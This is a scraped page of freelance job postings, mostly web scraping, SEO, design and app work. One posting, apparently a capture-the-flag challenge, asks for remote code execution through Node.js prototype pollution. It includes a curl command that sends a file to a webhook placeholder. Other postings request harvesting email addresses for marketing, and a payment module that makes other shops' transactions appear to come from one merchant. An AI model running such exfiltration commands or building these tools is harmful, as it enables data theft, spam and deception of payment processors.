Batch url scraper jobs

I need a software expert to develop a program that scrapes text content off of multiple websites and then cross-references this data against another site. Key Requirements: - The software should effectively pull out text content from all provided sites. - The text content should be in a plain text format, ready for easy analysis and interpretation, preferably in an excel spreadsheet or comma delimited list. - The cross-referencing component is crucial, as the software will need to compare the data scraped with that of another website. Qualifications: - Background in Data Scraping and Software Development. - Previous experience with cross-referencing data. - Proficiency in handling different data formats. In essence, I'm looking for someone who can create a tool that not only coll...

Find a solution that does a screenshot from real chrome device to a url and if the URL is not loaded successfully for some reason it will send an alert via SMS. * The device has to be real one and not emulator. VM can be used here. * There will be multiple urls. * The job will be launched every few second. Please provide me a detailed solution how you will plan to do it.

I am looking for someone who can create a frontend website (no need admin) looking like reference website (see URL below). Your creation must be unique, but we need a fancy looking GUI and animations. You can pick your own animations and elements. Reference site: Less then 1000 Euro? DM and we can make a deal. More then 100 Euro? Please do not bid.

...link to how you can do it. Here is an example how these people have integrated and using google lighthouse to generate reports. We need exactly the same. 2, need an admin panel where admin can add or import the list of the website url,and website owner name , number and email address. So report can generated by the system and keep sending the email pdf report to the owner of the website like its work in front side for this site 3, We need to save PDF reports in the same column of every website so we can resend the report to the website owner. 4, Also we need custom email sent to the owner - just

I'm looking for a Python developer to assist me in creating a web scraper that can extract specific text content from a website on a weekly basis. The scraped data should be efficiently saved to a CSV or Excel file for easy review. Capable of being plugged to a distribution app. Key Requirements: - Develop a Python-based web scraper that targets a website to extract text data - The scraper should be designed to run on a weekly schedule - Ensure that the code is concise and easy to understand for potential future modifications - Store the scraped data in a CSV or Excel file format Skills and Experience: - Proficiency in Python programming - Experience with web scraping libraries such as BeautifulSoup or Scrapy - Understanding of scheduling tasks in Python - Fami...

1 Need to build a website monitoring program to monitor changes in sub-pages of the landing page Detailed requirements: The website needs to have SQL function because batch site monitoring needs to be uploaded. 2 Identify the link to the final sub-page login keyword such as Proxy function and mobile phone UA because mobile phone batch UA is required Multi-thread monitoring 3 Filter duplicates and monitor changes in subpages of the website Set a custom time to refresh the web page

I want to Rank Keywords at the 1st Position of the Google Search and payment will be done after ranking the keywords at 1st position of the google search only otherwise no payment will be made. Weekly and monthly backlinks creation and work done report is mandatory. Keyword : Target URL 1) bharatiya nyaya sanhita 2023 pdf: 2) bharatiya nyaya sanhita pdf: 3) section 69 bns: 4) bns section 69: 5) bns 352:

...this look is critical. The Work: - Applying filters to enhance the visual appeal of the content. - Correcting colors to ensure a cohesive and attractive aesthetic. - Cropping and resizing images and videos as needed. - Other editing tasks aimed at creating a polished and engaging final product. Content Delivery: - I will require your services on a monthly basis. This means providing a fresh batch of edited content at the beginning of each month. Ideal Candidate: - Proficient in both picture and video editing, particularly in the context of Instagram content. - Experienced in creating and maintaining a bright and vibrant aesthetic. - Skilled in using Photoshop, as the primary editing tool. - Prior experience in travel and lifestyle blogging content is a plus. - Reliable...

I need create calculator like on page : and implement to my page : It must be only for product in category a-typ. Formula: Width formula: Base price (always for the dimensi... location = String() + '?productId=' + productId + '&do=calculateCustomPrice'; for (let input of customPriceInput) { if ( === '') { return; } location = location + '&' + + '=' + ; } if (typeof jQuery !== 'undefined') { $.({ url: location, }); } else { ('POST', location); } } </script>

...Duplicate records should be removed and uploaded to a shared repository. The instance of the software and the repository should be in AWS. It needs a user friendly run option. The scope of the service includes the configuration of a repository in a AWS, set-up a remote desktop , delivery of the source code with good development practices. Additionally to the neighbourhoods added in the file, the scraper mus include: Zone 2: Gran america Centro nariño Centro narino Puente aranda El recuerdo La florida occidental Quinta paredes Industrial centenario Plaza Imperial Centro Comercial Paramericano Las americas Zone 3: Chía Cajicá Sausalito Parcelacion buenasuerte Calahorra Hacienda Fontanar Canelon La frontera Canelon centro Fagua Cn. badalona Samaria Hacie...

...that they provide usually. - SEC Insider Traders Page: This is a vital component of the website. It should include: - A list of recent insider trading activities: This will help users stay updated on relevant market movements. - Filter options by date, company, or individual: Users should be able to narrow down information based on their interests easily. I have already made most of the scraper for this SEC insider trader tool and just need it fixed slightly and optimized. - For the database management of all data I have decided to go with PostgreSQL and have already set that all up Ideal skills and experience for this project: - Proficient in web development, specifically in creating forums and data-heavy pages. - Experience with financial websites or platforms. - Strong...

1 Need to build a website monitoring program to monitor changes in sub-pages of the landing page Detailed requirements: The website needs to have SQL function because batch site monitoring needs to be uploaded. 2 Identify the link to the final sub-page login keyword such as Proxy function and mobile phone UA because mobile phone batch UA is required Multi-thread monitoring 3 Filter duplicates and monitor changes in subpages of the website Set a custom time to refresh the web page 4 Send the new URL of the subpage change to the created group through the telegram machine

I have an html form php file on my server. I would like a passcode (no username) added to the form that captures the user connected to the passcode when the form is submitted. I would like the data sent to Google Sheets when a ...Sheets when a user submits the form. The Google sheet is complex. I would like the form data sent to 1 of 13 sheets. It should search for the sheet name, date, and user (from the html form) to find the correct sheet and row to insert the data from 5 fields. Can you help with this? We have an form in the laravel, these are three main tasks : 1) Secure the form with 6 code passcode. 2) Update the URL of the form. 3) Save the form data in google sheet. There are various tabs in the sheet, so we need to save the data in google sheet tabs as per the dropdown ...

I have a web scraper script that needs fixing. It's designed to scrape various URLs from the Apollo website. Key Requirements: - Scraper debugging: The script is currently not working properly, and needs to be fixed. - URL scraping: The script should be able to successfully pull the data from the selected URLs on Apollo website. Experience with: - Web Scraping: Previous experience in web scraping is essential, as the data needs to be pulled accurately from this specific website. - Script Debugging: Ability to identify and fix issues within an existing script. - Proficiency in Python or relevant language for web scraping. - Knowledge of Apollo website structure. Please make sure your bid includes information on how you plan to approach fixing this script. O...

I need a comprehensive web scraping task done on Yellowpages for business broker. The goal is to extract the following data about businesses: - Business name - Address - Phone number - Email - Website - Contact Person I'm looking for a professional who is well-versed in web scraping and can deliver accurate and complete data. Skills requ...well-versed in web scraping and can deliver accurate and complete data. Skills required: - Proficiency in web scraping techniques - Experience with scraping - Attention to detail to ensure all relevant data is captured - Ability to deliver in a timely manner Please note that the number of pages to be scraped is not defined, meaning the task might involve a large number of results. The scraper should be able to handle this efficiently.

I'm looking for a seasoned Python developer who can assist in two main areas: - Creation of PowerPoint presentation using a CSV data file - Automate the process via a public URL to upload the CSM file Creation of Powerpoint Presentation The CSV file will feature data-points in columns. A powerpoint presentation template will be provided for reference. The graphs and tables should be present as per the data-points present in CSV file. Automating the Process This is the secondary part of the job. Once we have are successfully able to convert a CSV data in PPT format, we should create a public secured link to upload the file. It should be auto-converted and file should be ready for download. The ideal candidate should be a proficient Python Developer with a solid understandi...

Please Sign Up or Login to see details.

I am currently in need of a skilled professional who has expertise in image editing. The task involves: - Removing the background from a batch of product images. - Correcting the color of these images for optimum display and output. - Inserting specific text into the images. The text will be designated into a specific area within each image, and it requires a keen eye for detail to maintain uniformity and consistency across all uploads. The ideal freelancer for this job would have a good understanding of photo editing software such as Photoshop or Lightroom, and a balance of creativity and precision. Proven experience in product photography editing is needed, with a portfolio to back it up. This role requires the balance of a creative eye and technical proficiency. If you c...

...Madagascar - Find the best angle and footage of a vanilla plantation in Madagascar. - Reference video: - 4. GIF Overlay (Optional) test to add a sequence 4 with below: - Test adding a GIF sequence using the following details: - GIF: istockphoto-977985066-640_adpp_is - Background: url("") - Background Size: Cover - Width: Fixed (1,440px) - Height: Hug (598px) - Padding: 70px 60px 40px 60px - Gap: 40px - Opacity: 0px Colors: - Background: #290E0EB2 Requirements: - The GIF should be exactly 15 seconds in length. - Use smooth transitions between sequences to create a cohesive and visually appealing GIF. - Ensure

...podcast's theme, and entices viewers to click and listen. The name of the podcast is "The Next Deal Podcast" You CAN use the podcast name in the design but it is not REQUIRED Here is a URL to the host Justin Dossey, Vince Hall facebook for a picture of them: , You can use a picture from social media or from the video podcast itself Here is a URL to the guest, Trevor Oldham facebook for a picture of them: You can use a picture from social media or from the video podcast itself Here is a URL to the google drive with some of the raw video/audio files for context or ideas OR to get portraits of the hosts or guests:

...that will work on both iOS and android. That would mean utilizing one of those frameworks such as React Native or Cordova (or something else similar). The app will basically just allow the user to search for an order (done through a Rest API) and then select photos on the device and upload those to the selected order (also though a Rest API). Detailed Requirements: Setup screen where system URL and API key can be entered and then saved so subsequent uses of app doesn't require it to be reentered Ability to search and find order using order number, customer name, or company name Ability to select multiple photos and upload at once (although API call needs to be made for each file) Ability to take picture with camera right in app as well as select from gallery Full code o...

...solution) 1. Code a module able to handle multiple shops to use the main shops payment processor/ Merchant account. Multishop option. When an multishop is added the module can add the new shop. 2. All communications and transactions with payment processors must appear as if they are conducted by Shop A, regardless of whether Shop A or Shop B/C/D is placing the order. 3. Shop B/C/D cannot use an URL (landing page) of Shop A. Find a solution. 4. The Backoffice function on order page showing from what multi shop the order was placed must work. TASK 3 Code a module compatible with multi shop and newest Prestashop 8+.(Product name) 1. Code a module able to handle a secondary product name hook. 2. The secondary product name hook needs to be able to overwrite standard product ...

My Company is SEO Right Now and I need that listed on the flyer (maybe in top left corner or similar) NOT TOO LARGE but just somewhere on the flyer nicely please, along with the URL and say: For SEO Services and Google Page 1 Results, visit - PLUS it needs my phone number: (206) 395-6759. I like layers on layers, icons and bright beautiful color, not pastels. I'm in need of a professional flyer that will promote my SEO service specifically targeted towards small and medium businesses. Key Points: - I'm looking for a creative, bright and colorful design which can competently attract potential clients. - The flyer should be able to clearly communicate my SEO services and differentiate my offerings from competitors. - Backlinks, Content Writing, Social Media Management...

I'm looking for an experienced developer to help with real-time text data scraping via API and management using BeautifulSoup. This project is primarily focused on retrieving text data and storing it in a database. Key Responsibilities: - Implement an API scraper to continuously retrieve text data in real-time - Utilize BeautifulSoup for data extraction and management - Develop a robust database to store all the scraped text data The ideal candidate should have: - Proficiency in Python programming language - Strong experience with API scraping and BeautifulSoup - Previous work involving real-time data scraping - A good understanding of database management It is important that the data scraping runs seamlessly and accurately in real-time. Prior experience with similar proje...

Objective of the project The goal of the project is to develop an automated system that generates high-quality content related to beauty, cosmetics, skin and hair products, and makeup. This system must: Collect content from various sources (URL, RSS, XML) configurable by a Super User. Filter and process such content using artificial intelligence (AI) to improve it. Automatically publish enhanced content to a WordPress blog and various social networks. Provide an intuitive administration panel for managing system sources and configurations. Technologies and Tools Used Backend: Django Frontend: React Database: MySQL or PostgreSQL Monitoring: Prometheus and Grafana Containers and Orchestration: Docker and Kubernetes This project is already validated by AI tools to correct errors in ...

I would need a script written in nodejs where a USB NFC reader (specifically the ACR122U or the ACR125U) wait for a NTAG424 DNA tag. Once an NFC tag is tapped write a URL data into the tag as well as encryption keys. Make sure the URL contains query parameters which are mirrored uid, counter, and cmac that are all encrypted. Part of this is to write a nodejs script to validate the above parameters from the URL and decrypt the uid/counter (or some Rust that can do the same)

I have a list of 50000 urls, I would like to scape the pages to see if they contain references to scripts - I will provide a list of the urls and the scripts. Deliverable should be an excel with the 50000 urls and whether they contain the link for each script. Looking for fast turnaround

I'm looking for a skilled professional who can migrate an existing voicemail manager system from Google Script (Javascript) to Office365. The primary purpose of this migration is to rebuild the system on a completely different platform. Key Requirements: - Proficient in Google Script (Javascript) - Familia...intricacies of voicemail manager systems. The project's success will depend on the freelancer's ability to effectively transfer the existing system's functionalities to the new platform. The system must be rebuilt using Javascript, ensuring compatibility with the desired platform: Office365. I also need help to complete previous project. Help with the following: 1. Batch file to merge Ruckus csv files instead of overwriting. 2. Batch file to fin...

I’m looking for an experienced system programmer who can create a batch file or script that performs a specific set of tasks on a local W10/11computer. The tasks I need accomplished are: - Connect to the remote QNX computer via SSH (Secure Shell)( login/ password in config file.) -send some command (must be configurable - Run certain commands via batch file on windows 10/11 computer. (Configurable) - Run local bat comands on Windows computer (configurable) - Send key combinations on Windows computer (configurable) Managing errors if they occurs. Keep CMD open for manually entering other commands ( in feature can be automated as another project or add-on) Prior experience with batch file creation and QNX systems is necessary. Proficiency in SSH connections is a...

I hope this message finds you well....keywords and keyphrases that our target audience is searching for. On-Page Optimization: Optimize each page of the website by incorporating the identified keywords and keyphrases. Ensure that titles, meta descriptions, headings (H1, H2, etc.), and alt texts are properly optimized. Improve the content quality by adding relevant keywords naturally and ensuring readability and engagement. Optimize URL structures for better SEO performance. Technical SEO: Ensure the website has a clean, efficient, and crawlable code. Internal Linking: Improve internal linking structures to enhance navigation and user experience. Ensure that link equity is properly distributed across the site. Thank you, and we look forward to working with you. Best regards, [...

I am in need of a professional web developer who can create a comprehensive coaching platform for me. The website should have the following features: - Batch Management: I need to be able to create multiple batches for different subjects or courses. - Video Lecture Upload: I should be able to upload video lectures for students to watch online. - PDF Upload: I should be able to upload PDF files for students to view or download. - Test/Quiz Management: I need a feature where I can create and manage online tests or quizzes for the students. In addition, the website should have stringent access control measures. Specifically, the following measures need to be implemented: - Password Protection: The website should require a password for users to access the content. - User Login and Re...

I'm looking for a skilled AI Developer to program module that speaks with AI (Gemini or GPT) as batch analysis of Excel files. Key Responsibilities: - Conducting pattern recognition and insights in the data Ideal Skills: - Strong AI development experience - Proficiency in Excel and data analysis - Ability to automate analysis processes

I need someone to gather email addresses from a list of website URLs that I will provide. The goal is to collect email addresses from different sites, which I can then incorporate into my email marketing campaign. Key Requirements: Manually find email address of user from website, by searching in google etc Ideal Skills and Experience: - Proficient web researcher: You should be skilled in navigating websites and efficiently extracting specific pieces of information without getting bogged down. Please make sure to address your experience and expertise in these areas in your proposal. Thank you.

It is necessary make some simple changes to a project management application made in Laravel. The change are: Please answer only if have experiences in project management software. And show my the url of similar job made because I don't asign the job without see the real competences

I need a script that can scrape the Google Play store specific data from list of apps in the search result url of any keyword. Need data in Excel spreadsheet. Eg : if i search cat in playstore, i need the below mentioned details of first 100 apps shown in the search result. Key Project Details: - I require the script to scrape app names, descriptions, emails, download counts, and URL of the app. - The scraped data should be compiled into an Excel spreadsheet format for my review and analysis. - deploy the script into my server The Ideal Freelancer: - Proficient in web scraping tools and techniques - Experience working with Google Play store data - Competent in automating data extraction and processing - Ability to deliver a reliable, daily scraping solution - python expe...

I want to build custom chromium browser bundled with my webapp. We dont want to use any framework like electrom due to business decisions. Below are the requirements: 1. Bundle webapp with custom chromium build. When the browser is opened then the webapp should be opened by default 2. Remove chromium tabs and url bar. these are not needed since we always open our webapp

I'm looking for a skilled developer to duplicate the design and functionality of a website from TypeScript, JavaScript, HTML, and CSS to a Python-based system. The website currently allows users to input a URL for evaluation on its ACT and WCAG compliance. Once evaluated, it highlights any errors and provides recommendations for improvement. The source code is provided. Key Requirements: - Recreate user input URL evaluation - ACT and WCAG compliance checking - Error highlighting - Recommendation provision Design Changes: - Redesign of the website's layout - Improvements to the user interface Design Preferences: - Clean and minimalist design - Modern and trendy elements The source code is available for reference. Ideal candidates should have a solid understanding...

I need a developer to help me create an automated web scraper. - This scraper should be able to operate on multiple websites. The ideal candidate should have experience in web scraping, data extraction, and automation. The ability to adapt to different types of data and websites is essential. Thank you

One of our clients needs a freelancer to conduct an academic-style search in the medical device register and create a search report as detailed in the following URL. The freelancer must be experienced in conducting medical literature database searches, compiling results, and writing an academic document following the Vancouver citation style. There's no word limit for the report. URL: Key Points: - The primary objective of this research is to identify and interpret trends in the utilization of diagnostic and therapeutic medical devices in healthcare practices worldwide. Ideal Candidate: - A background in medical research/healthcare analysis would be highly beneficial for this project. - Experience in academic research, especially in the field of medical devices

Hello, This is a $20 project. Looking for a freelancer to develop a python script to retrieve restaurant data from Google Maps using the Maps/Places API. The script should target restaurants that have a phone number and *do not* have a website. The inputs I need to enter are: - Location (latitude and longitude) - Search Radius (in meters) - Ensure the business/place...restaurant data from Google Maps using the Maps/Places API. The script should target restaurants that have a phone number and *do not* have a website. The inputs I need to enter are: - Location (latitude and longitude) - Search Radius (in meters) - Ensure the business/place is a restaurant, bakery, etc. Key Data to Retrieve, output in a .CSV: - Business Name - Address - Phone Number - Google Maps URL Thank you, ...

I need an expert in navigation on Team Tailor who can implement a prompt redirection feature on m...need an expert in navigation on Team Tailor who can implement a prompt redirection feature on my website. The following requirements should be met: 1. Redirection: As soon as users land on the particular Team Tailor page, they should be instantly redirected to a specific product page on the existing website without any necessary user action. 2. Destination URL: The target of this redirect system is a specific product page URL. The exact URL will be shared during project discussion. The ideal freelancer should be an experienced web developer with expertise in website navigation and redirection. Prior work with Team Tailor would be a bonus. I am looking for a quick and ...

Fundraiser URL: 2000-lbs-water-on-flat-roof-collapsed-ins-didnt-pay Subject line: I Urgently Need 1,000 donations to help me from losing my home & business: 5/18/2024 Once again, thank you to the people that have donated so far. However, it’s been too long since anyone made a donation. I realize it must be difficult to give money to a person you haven’t seen for years or never met. I wanted to run a “Rewards Based Campaign” where contributors could select either Prints of my Artwork or select from my list of 200 different titles of Vintage Children’s books or both but GoFundMe prohibits offering rewards. I’ve been a successful award winning world-class professional painter & printmaker for decades. However (as mentioned in my campaign)...

I am looking for a skilled photo editor to work on less than 50 images for a shoot. No specific type of editing required, just general photo editing skills are important. Skills in color correction, retouching, and background removal are a plus. Key Responsibilities: - Editing a small batch of less than 50 photos - Ensuring the images are of high quality Ideal Skills Needed: - Photo editing experience - Familiarity with tools like Adobe Photoshop or Lightroom - Attention to detail - Timeliness and ability to meet deadlines Please note that you will not be required to do any video editing for this particular project.

...development - Knowledge of SQL - Minimalistic app design - Experience in GEO Fencing, QRCODE/Barcode scanning, Face Recognition - API integration with Google services This project will require rigorous testing to ensure quality and functional assurances. I am looking for experts with a keen eye for detail and the ability to deliver under deadlines. 1. Programmer has to use our web app url as attached in WebView framework of android. We need to provide link for camera and upload from gallary feature from many pages of our web app. kindly let us know how will programmer provide it?. 2. We only need use camera and file upload from mobile gallary into our webserver file folder via ftp and related data entry in sql server database. we will provide necessary tables, fields...

I have a list of 54 URLs, and I need someone to grab 2 images from each of them, convert them to .jpg and save them to a folder named 'Images'. Key Requirements: - Grab 2 images from each of the 54 provided URLs (all similar to below URL). 108 images in total. - Example URL is - Grab the biggest version of the image from lines 6613 and 6667 of page source code - Convert all grabbed images to .jpg from .webp - Save them to a folder named 'LC Images' - The images should be saved in the original size, with no resizing necessary. - See attached screenshot

I'm looking for someone who can create a WordPress plugin for scraping manga websites. Plugin Requirements: 1. Grab per chapter by link. 2. Grab full chapter by link. 3. Grab new manga by link. 4. Compatible with various manga themes. 5. Images from the scraped content should be uploaded to s3 storage. 6. Must have 10 sources for scraping (with a guarantee that if one source fails or the website goes down, it can switch to another source). Usage Flow: 1. I create a manga post and fill in the manga link in the metabox. 2. The plugin will automatically fill in the chapter links, scrape HTML images, and create posts. It will also automatically fill in the chapter number and the manga post ID number based on the manga link. Note: Speed during scraping is very important.

I am seeking a professional to develop a software that can efficiently extract and present the scripts used on a list of URLs provided. The software should be able to handle up to 1000 URLs at a time and run specifically on Windows. Key requirements include: - Extracting scripts: The software should be able to seamlessly access the provided URLs and list the scripts used on each page. - Bulk processing: The software should be capable of handling a significant amount of URLs, up to 1000 at once. - Windows compatibility: It is essential that the software is designed to run on Windows OS. Website Accessibility: - Restricted access: Websites that require restricted access or login should be identified and reported separately. The software should skip such pages and indicate them as inaccessi...

I have a batch of handwritten notes that I need to be converted into digital text. Key Requirements: - The project is primarily data entry. You will be given physical copies of these notes, and your task will be to accurately transcribe them. - Attention to detail is crucial, as the notes may be difficult to read and require care to ensure that the content is correctly interpreted and entered. - This is a time-sensitive project, so meeting the deadline is essential. Ideal Skills: - Proficient in typing and data entry, ideally with experience in transcribing handwritten notes. - Attention to detail is paramount. - Time management and ability to meet deadlines.

...other Emus to create new potion recipes! However, they are afraid that one of the human hackers will pollute their ingredients. Can you get Remote Code Execution (RCE) on the Emu Apothecary's website? Below are the steps on creating the terminal command you want to execute on the website: Visit to create a new webhook for receiving incoming web requests. Copy your unique URL from the webhook website and replace {webhook} in the following terminal command. This is the command that you want to execute on the website that will send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge go to hint 1: You can pollute NodeJS applications, Alex did a talk about it and the slides are available to read at https://www

I'm seeking a seasoned SEO expert to conduct a detailed audit of my website, with a focus on both on-page optimization and technical SEO aspects. Key Areas of Focus: - On-Page Optimization: Analyzing the current content, meta tags, and URL structure to enhance keyword targeting and improve search engine ranking. - Technical SEO: Reviewing technical aspects such as website speed, mobile-friendliness, and site architecture for optimization. - Backlink Analysis: Identifying and assessing the quality of existing backlinks and providing recommendations for improving backlink profile. Prioritized Pages: - Homepage: A thorough evaluation to ensure it's optimized for key search terms and user experience. - Product Pages: Individual assessment of these pages to enhance visibilit...